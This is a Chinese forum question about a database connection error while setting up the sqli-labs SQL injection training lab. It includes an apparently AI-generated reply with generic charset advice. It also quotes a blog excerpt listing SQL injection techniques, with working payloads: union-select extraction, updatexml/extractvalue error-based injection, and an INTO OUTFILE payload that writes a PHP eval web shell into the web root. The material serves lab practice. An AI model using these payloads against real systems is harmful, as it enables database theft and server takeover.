sqli-labs靶场搭建数据库链接问题求答

搭建sqli-labs靶场时数据库链接问题

img

查阅了目前网上的解决方案,都没有解决
目前的环境是php5.5.9nts,mysql5.7.26,apache2.4.39

引用 皆我百晓生 小程序回复内容作答:
根据报错信息,在连接数据库时遇到了字符集问题。可能是由于客户端和服务器的字符集不匹配导致的。解决这个问题的方法有:

  1. 检查数据库配置文件中的字符集设置,确保与数据库实际的字符集一致。
  2. 检查PHP代码中连接数据库的部分,确保设置了正确的字符集。
  3. 如果你使用了PDO连接数据库,可以尝试在连接数据库之前设置字符集,例如:$pdo->exec("set names utf8");
  4. 确保PHP和MySQL的版本兼容性,可以尝试降低或升级其中一个组件。

另外,你可以尝试使用更稳定的版本,例如PHP 7.x和MySQL 5.7.x,这些版本可能会更好地兼容。

【相关推荐】



  • 这篇博客: sqli-labs攻关1(错误型注入、双查询注入)中的 3.sql注入常用mysql函数 部分也许能够解决你的问题, 你可以仔细阅读以下内容或跳转源博客中阅读:

    1、order by
    该函数用于对结果集进行排序,主要用于猜字段。
    例如我们在实验室less-1
    输入?id=1要确定它里面有多少个字段,就要用到order by了
    例如输入?id=1 order by 3 --+ 显示正常
    再次输入?id=1 order by 4 --+ 显示错误
    所以的出,在?id=1查看的这个表有3个字段

    2、union
    union在sql注入测试过程中,几乎经常用到,进行联合查询

    例:
    ?id=-1' union select 1,user(),database() --+

    3、MID
    SELECT MID(ColumnName, Start [, Length]) FROM TableName
    4、LEFT(str,len)
    返回字符串str的最左面len个字符
    5、ASCII(str) =ORD
    返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL
    6、SUBSTR(str,pos,len)
    从str中多少个字符开始,截取多少位
    7、CAST
    SELECT CAST(’12’ AS int) 将目标str转化为目标数据类型
    8、IFNULL(expr1,expr2)
    如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2
    9、updatexml()
    updatexml(1,concat(0x7e,user(),0x7e),1)
    其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误显示user()该函数。但显示出来的内容最多只有32个字符串;利用原理对他是对XML文档进行更新的函数;
    语法:updatexml(目标xml文档,xml路径,更新的内容)
    10、extractvalue()
    extractvalue也是运用于报错sql注入;利用原理对XML文档进行查询的函数;
    语法:extractvalue(目标xml文档,xml路径)
    熟悉mysql常见的判断语句函数
    参考文章http://www.runoob.com/mysql/mysql-functions.html
    11、LOAD_FILE
    可以利用该函数,进写入shell
    用法:select load_file(‘file1’) into outfile ‘file2’
    将file1的文件导入WEB目录file2的文件中进行访问!

    例:

    ?id=1)) union select 1,2,<?php* [@eval](https://github.com/eval)*($_POST[“cmd”]);?>’ into outfile “/home/wwwroot/default/test.php”—+*
    

    看完后,有了大致了解,是时候开启注入攻关之旅了。。


如果你已经解决了该问题, 非常希望你能够分享一下解决方案, 写成博客, 将相关链接放在评论区, 以帮助更多的人 ^-^